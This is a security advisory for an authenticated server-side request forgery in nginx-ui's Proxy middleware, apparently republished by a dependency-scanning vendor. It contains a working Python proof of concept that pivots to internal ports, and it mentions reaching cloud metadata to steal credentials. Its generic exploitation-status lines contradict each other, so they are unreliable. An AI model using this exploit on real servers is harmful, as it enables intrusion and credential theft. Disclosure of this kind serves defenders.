Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-wr32-99hh-6f35
No affected components available
Summary
An authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.
Details
The nginx-ui Proxy middleware (internal/middleware/proxy.go) intercepts API requests containing an X-Node-ID header and forwards them to the URL of the corresponding cluster node. An attacker can:
- Read the
node_secretfromGET /api/settings(accessible to any authenticated user) - Create a cluster node via
POST /api/nodespointing to any internal URL:
{
"name": "ssrf_node",
"url": "http://127.0.0.1:51820",
"token": "<node_secret>",
"enabled": true
}
- Send any API request with the
X-Node-IDheader set to the created node's ID:
GET /api/settings HTTP/1.1
Authorization: <token>
X-Node-ID: 1
- The Proxy middleware forwards this request to
http://127.0.0.1:51820/api/settings, making a server-side request to the internal address.
Vulnerable code path:
internal/middleware/proxy.go—Proxy(): no validation of the node URL; allows127.0.0.1,localhost, internal IPs, cloud metadata endpoints, etc.
The node URL is not restricted to external addresses or validated against an allowlist. Combined with the njs Code Injection vulnerability (separate advisory), this SSRF is used to trigger the njs payload executing on an internal-only nginx port, completing the RCE chain.
PoC
import requests
BASE = "http://TARGET:9000"
TOKEN = "<authenticated_jwt_token>"
HDR = {"Authorization": TOKEN}
# Step 1: Get node_secret
settings = requests.get(f"{BASE}/api/settings", headers=HDR).json()
node_secret = settings["node"]["secret"]
# Step 2: Create SSRF node pointing to internal service
resp = requests.post(f"{BASE}/api/nodes", headers=HDR, json={
"name": "ssrf",
"url": "http://127.0.0.1:51820", # internal-only port
"token": node_secret,
"enabled": True,
})
node_id = resp.json()["id"]
# Step 3: SSRF — request is forwarded to http://127.0.0.1:51820/api/settings
resp = requests.get(
f"{BASE}/api/settings",
headers={**HDR, "X-Node-ID": str(node_id)},
)
print(resp.status_code, resp.text[:200])
# Response comes from the INTERNAL service, not nginx-ui
This can also target cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/) or any other internal service.
Impact
An authenticated attacker can:
- Access internal services bound to localhost or private networks that are not intended to be externally reachable
- Access cloud metadata endpoints (AWS/GCP/Azure instance metadata) to steal IAM credentials
- Port-scan internal networks by creating nodes pointing to different internal IPs/ports
- Trigger internal-only njs endpoints to escalate privileges (as demonstrated in the companion RCE advisory)
- Bypass network segmentation and firewalls that only restrict inbound traffic
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard